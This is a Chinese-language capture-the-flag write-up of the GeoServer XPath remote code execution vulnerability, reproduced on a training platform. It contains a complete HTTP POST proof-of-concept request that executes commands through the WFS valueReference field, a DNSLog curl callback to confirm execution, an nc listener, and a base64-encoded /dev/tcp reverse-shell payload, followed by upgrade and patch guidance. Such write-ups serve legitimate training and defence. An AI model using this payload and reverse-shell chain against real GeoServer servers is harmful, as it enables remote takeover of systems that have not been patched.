写在前面
文章仅供参考,本文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责!
一、漏洞详情
1、漏洞原理
GeoServer 是一个开源服务器,允许用户共享和编辑地理空间数据,依赖 GeoTools 库来处理地理空间数据。
GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有GeoServer 实例。
2、影响版本
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
二、靶场环境
极核::CTF https://hackhub.get-shell.com/
靶场使用说明见平台文章。
三、漏洞验证
使用 DNSLog 平台获取子域名 http://www.dnslog.cn/
点击Get SubDomain,这里获取到的子域名为:g7a3ib.dnslog.cn,换成自己的。
利用该子域名构造payload:
exec(java.lang.Runtime.getRuntime(),'curl g7a3ib.dnslog.cn')
这里直接贴出POC:
POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:*****
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 362
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl g7a3ib.dnslog.cn')
</wfs:valueReference>
</wfs:GetPropertyValue>
如图利用BurpSuite发送数据包,此时需要注意根据环境不同,typeNames的值可能需要根据服务器中的Types改变。
任选即可。
请求包发送成功后,查看dnslog已成功回显,复现成功,证明存在该漏洞。
四、漏洞利用
由于用到的是平台的靶场,这里就讲一下怎么获取flag。
1、nc监听
在自己的公网服务器上开一个nc监听。
nc -lvnp 12345
2、反弹shell
通过/dev/tcp直接在shell脚本中发起tcp连接,反弹 shell 到目标主机端口,这里以12345端口为例,ip换成自己的。
sh -i >& /dev/tcp/***.***.***.***/12345 0>&1
对命令进行 base64 编码 (命令必须经过编码,不然无法实现),得到:
写payload:
exec(java.lang.Runtime.getRuntime(),'bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvKioqLioqKi4qKiouKioqLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}')
发送数据包后,我们可以发现服务器已经连接上了,之后就是直接去根目录寻找flag了。
五、应对措施
目前官方已有可更新版本,建议受影响用户升级至最新版本:
GeoServer 2.23.* >= 2.23.6
GeoServer 2.24.* >= 2.24.4
GeoServer 2.25.* >= 2.25.2
同时,官方已发布先前版本的补丁可供下载,包括已修复的 gt-app-schema、gt-complex 和 gt-xsd-core jar 文件。
补丁可从以下 GeoServer 版本的发布页面下载:
2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0。
下载后使用补丁文件替换原文件即可。
可以从此处获取官方补丁下载地址:
https://github.com/geoserver/geoserver/releases
参考
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
https://github.com/geotools/geotools/pull/4797
https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401